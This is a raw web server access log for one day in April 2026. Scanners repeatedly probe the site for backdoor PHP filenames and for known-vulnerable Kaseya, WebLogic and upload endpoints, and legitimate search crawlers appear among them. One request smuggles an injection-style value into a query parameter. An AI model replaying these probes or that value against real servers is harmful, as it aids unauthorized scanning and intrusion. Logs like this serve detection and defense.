20.198.83.136 - - [14/Apr/2026:08:12:02 -0700] "GET /CDX1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 120 **0/120135**
20.198.83.136 - - [14/Apr/2026:08:12:02 -0700] "GET /rip.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 111 **0/111141**
20.198.83.136 - - [14/Apr/2026:08:12:02 -0700] "GET /1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192 **0/192401**
20.198.83.136 - - [14/Apr/2026:08:12:03 -0700] "GET /chosen.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 84 **0/84937**
20.198.83.136 - - [14/Apr/2026:08:12:03 -0700] "GET /css.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20525**
20.198.83.136 - - [14/Apr/2026:08:12:04 -0700] "GET /php.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 39 **0/39851**
20.198.83.136 - - [14/Apr/2026:08:12:04 -0700] "GET /wp-Blogs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24305**
20.198.83.136 - - [14/Apr/2026:08:12:04 -0700] "GET /wp-content/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 48 **0/48681**
20.198.83.136 - - [14/Apr/2026:08:12:04 -0700] "GET /wp-content/plugins/beteng88/ws83.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 67 **0/67412**
20.198.83.136 - - [14/Apr/2026:08:12:05 -0700] "GET /ws83.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 73 **0/73731**
20.198.83.136 - - [14/Apr/2026:08:12:05 -0700] "GET /file61.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 38 **0/38368**
20.198.83.136 - - [14/Apr/2026:08:12:05 -0700] "GET /sadcut1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18782**
20.198.83.136 - - [14/Apr/2026:08:12:06 -0700] "GET /y.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 38 **0/38291**
20.198.83.136 - - [14/Apr/2026:08:12:06 -0700] "GET /akcc.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40 **0/40213**
20.198.83.136 - - [14/Apr/2026:08:12:06 -0700] "GET /wp-admin/user/12.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 33 **0/33014**
20.198.83.136 - - [14/Apr/2026:08:12:07 -0700] "GET /index/function.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 44 **0/44135**
20.198.83.136 - - [14/Apr/2026:08:12:07 -0700] "GET /term.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22949**
20.198.83.136 - - [14/Apr/2026:08:12:07 -0700] "GET /666.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18161**
20.198.83.136 - - [14/Apr/2026:08:12:07 -0700] "GET /7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 73 **0/73082**
20.198.83.136 - - [14/Apr/2026:08:12:08 -0700] "GET /wp-config-sample.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28699**
20.198.83.136 - - [14/Apr/2026:08:12:08 -0700] "GET /log.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25297**
20.198.83.136 - - [14/Apr/2026:08:12:08 -0700] "GET /a5.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26012**
20.198.83.136 - - [14/Apr/2026:08:12:09 -0700] "GET /aa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 35 **0/35859**
20.198.83.136 - - [14/Apr/2026:08:12:09 -0700] "GET /bolt.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26679**
20.198.83.136 - - [14/Apr/2026:08:12:09 -0700] "GET /x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34 **0/34251**
20.198.83.136 - - [14/Apr/2026:08:12:09 -0700] "GET /jga.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34 **0/34100**
20.198.83.136 - - [14/Apr/2026:08:12:10 -0700] "GET /k.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24859**
20.198.83.136 - - [14/Apr/2026:08:12:10 -0700] "GET /vx.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17138**
20.198.83.136 - - [14/Apr/2026:08:12:10 -0700] "GET /ws77.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21301**
20.198.83.136 - - [14/Apr/2026:08:12:10 -0700] "GET /2.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16413**
20.198.83.136 - - [14/Apr/2026:08:12:11 -0700] "GET /abcd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27438**
20.198.83.136 - - [14/Apr/2026:08:12:11 -0700] "GET /wp-content/plugins/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29923**
20.198.83.136 - - [14/Apr/2026:08:12:11 -0700] "GET /asd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16029**
20.198.83.136 - - [14/Apr/2026:08:12:12 -0700] "GET /default.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28522**
20.198.83.136 - - [14/Apr/2026:08:12:12 -0700] "GET /gettest.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29393**
20.198.83.136 - - [14/Apr/2026:08:12:12 -0700] "GET /install.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16228**
20.198.83.136 - - [14/Apr/2026:08:12:12 -0700] "GET /tfm.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16255**
20.198.83.136 - - [14/Apr/2026:08:12:13 -0700] "GET /ws81.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15064**
20.198.83.136 - - [14/Apr/2026:08:12:13 -0700] "GET /222.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23637**
20.198.83.136 - - [14/Apr/2026:08:12:13 -0700] "GET /tmp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46552**
20.198.83.136 - - [14/Apr/2026:08:12:13 -0700] "GET /wp-admin/maint/index.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 47 **0/47167**
20.198.83.136 - - [14/Apr/2026:08:12:14 -0700] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46802**
20.198.83.136 - - [14/Apr/2026:08:12:14 -0700] "GET /a.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 37 **0/37684**
20.198.83.136 - - [14/Apr/2026:08:12:14 -0700] "GET /a1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22523**
20.198.83.136 - - [14/Apr/2026:08:12:15 -0700] "GET /onclickfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29856**
20.198.83.136 - - [14/Apr/2026:08:12:15 -0700] "GET /w.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23603**
20.198.83.136 - - [14/Apr/2026:08:12:15 -0700] "GET /wp-admin/maint/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27036**
20.198.83.136 - - [14/Apr/2026:08:12:15 -0700] "GET /wp-content/plugins/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23510**
20.198.83.136 - - [14/Apr/2026:08:12:16 -0700] "GET /wp-good.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20899**
20.198.83.136 - - [14/Apr/2026:08:12:16 -0700] "GET /.info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 37 **0/37082**
20.198.83.136 - - [14/Apr/2026:08:12:16 -0700] "GET /config.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15133**
20.198.83.136 - - [14/Apr/2026:08:12:17 -0700] "GET /item.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24894**
20.198.83.136 - - [14/Apr/2026:08:12:17 -0700] "GET /m.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15634**
20.198.83.136 - - [14/Apr/2026:08:12:17 -0700] "GET /rh.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20622**
66.249.73.198 - - [14/Apr/2026:09:37:17 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 11 **0/11298**
104.28.156.137 - - [14/Apr/2026:10:13:15 -0700] "GET /wp-login.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; rv:143.0) Gecko/20100101 Firefox/143.0" 839 **0/839576**
66.249.73.200 - - [14/Apr/2026:10:13:42 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 10 **0/10324**
103.59.161.71 - - [14/Apr/2026:11:33:35 -0700] "POST /integration/saveGangster.action HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0" 18 **0/18494**
104.210.140.139 - - [14/Apr/2026:11:58:09 -0700] "GET /robots.txt HTTP/1.1" 200 96 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot" 7 **0/7400**
66.249.74.67 - - [14/Apr/2026:11:59:55 -0700] "GET /robots.txt HTTP/1.1" 200 96 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 8 **0/8378**
103.59.161.71 - - [14/Apr/2026:12:57:10 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15" 14 **0/14958**
103.59.161.71 - - [14/Apr/2026:12:57:10 -0700] "POST / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 181 **0/181705**
103.59.161.71 - - [14/Apr/2026:12:57:10 -0700] "POST /clients/editclient.php?id=3ByyJVIwiohnQSyM9ngUUyOC3oL&action=update HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 243 **0/243517**
103.59.161.71 - - [14/Apr/2026:12:57:11 -0700] "GET /hw-sys.htm HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" 22 **0/22831**
103.59.161.71 - - [14/Apr/2026:12:57:11 -0700] "GET /3ByyJXsfV3UeXAjZvqFql7NOmrP.php%5Cx0A HTTP/1.1" 200 - "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 29 **0/29584**
103.59.161.71 - - [14/Apr/2026:12:57:11 -0700] "GET /logos_clients/3ByyJVIwiohnQSyM9ngUUyOC3oL.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0" 29 **0/29952**
66.249.73.200 - - [14/Apr/2026:13:28:42 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 10 **0/10128**
103.59.161.71 - - [14/Apr/2026:14:26:57 -0700] "GET /KaseyaCwWebService/ManagedIT.asmx HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15" 19 **0/19551**
103.59.161.71 - - [14/Apr/2026:14:26:58 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0" 9 **0/9130**
103.59.161.71 - - [14/Apr/2026:14:26:58 -0700] "GET /util/xmlrpc/Handler.ashx HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 19 **0/19032**
103.59.161.71 - - [14/Apr/2026:14:26:58 -0700] "GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\"; HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.1 (x64 de)" 23 **0/23133**
103.59.161.71 - - [14/Apr/2026:14:27:14 -0700] "POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1" 200 - "-" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" 21 **0/21900**
62.164.177.15 - - [14/Apr/2026:14:55:02 -0700] "GET /ajax.php?s=user_login HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.166 Safari/537.36" 34 **0/34708**
85.208.96.199 - - [14/Apr/2026:15:57:59 -0700] "GET /robots.txt HTTP/1.1" 200 113 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 8 **0/8544**
85.208.96.209 - - [14/Apr/2026:15:57:59 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 6 **0/6346**
104.250.137.106 - - [14/Apr/2026:16:51:49 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/5.0" 5 **0/5905**
103.59.161.71 - - [14/Apr/2026:17:04:35 -0700] "GET /__ HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 20 **0/20362**
172.98.32.138 - - [14/Apr/2026:17:16:40 -0700] "GET /wp-login.php HTTP/1.1" 200 - "-" "Mozilla/5.0" 20 **0/20945**
66.249.73.200 - - [14/Apr/2026:18:13:34 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 11 **0/11999**
20.89.234.204 - - [14/Apr/2026:18:21:21 -0700] "GET /admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21226**
20.89.234.204 - - [14/Apr/2026:18:21:21 -0700] "GET /inputs.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18113**
20.89.234.204 - - [14/Apr/2026:18:21:21 -0700] "GET /file.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15731**
20.89.234.204 - - [14/Apr/2026:18:21:22 -0700] "GET /goods.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17356**
20.89.234.204 - - [14/Apr/2026:18:21:22 -0700] "GET /ms-edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20948**
20.89.234.204 - - [14/Apr/2026:18:21:22 -0700] "GET /simple.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19407**
20.89.234.204 - - [14/Apr/2026:18:21:22 -0700] "GET /bgymj.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16941**
20.89.234.204 - - [14/Apr/2026:18:21:22 -0700] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20069**
20.89.234.204 - - [14/Apr/2026:18:21:22 -0700] "GET /404.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11326**
20.89.234.204 - - [14/Apr/2026:18:21:23 -0700] "GET /file3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18019**
20.89.234.204 - - [14/Apr/2026:18:21:23 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24365**
20.89.234.204 - - [14/Apr/2026:18:21:23 -0700] "GET /about.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16827**
20.89.234.204 - - [14/Apr/2026:18:21:23 -0700] "GET /wp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12900**
20.89.234.204 - - [14/Apr/2026:18:21:23 -0700] "GET /.dj/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18656**
20.89.234.204 - - [14/Apr/2026:18:21:23 -0700] "GET /adminfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22240**
20.89.234.204 - - [14/Apr/2026:18:21:24 -0700] "GET /php8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14372**
20.89.234.204 - - [14/Apr/2026:18:21:24 -0700] "GET /classwithtostring.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26115**
20.89.234.204 - - [14/Apr/2026:18:21:24 -0700] "GET /info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13223**
20.89.234.204 - - [14/Apr/2026:18:21:24 -0700] "GET /ioxi-o.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15026**
20.89.234.204 - - [14/Apr/2026:18:21:24 -0700] "GET /011i.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14308**
20.89.234.204 - - [14/Apr/2026:18:21:24 -0700] "GET /edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19129**
20.89.234.204 - - [14/Apr/2026:18:21:25 -0700] "GET /sid3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13515**
20.89.234.204 - - [14/Apr/2026:18:21:25 -0700] "GET /load.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13699**
20.89.234.204 - - [14/Apr/2026:18:21:25 -0700] "GET /166.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16345**
20.89.234.204 - - [14/Apr/2026:18:21:25 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17518**
20.89.234.204 - - [14/Apr/2026:18:21:25 -0700] "GET /leaf.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13257**
20.89.234.204 - - [14/Apr/2026:18:21:25 -0700] "GET /grsiuk.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11862**
20.89.234.204 - - [14/Apr/2026:18:21:26 -0700] "GET /8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14204**
20.89.234.204 - - [14/Apr/2026:18:21:26 -0700] "GET /fs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12848**
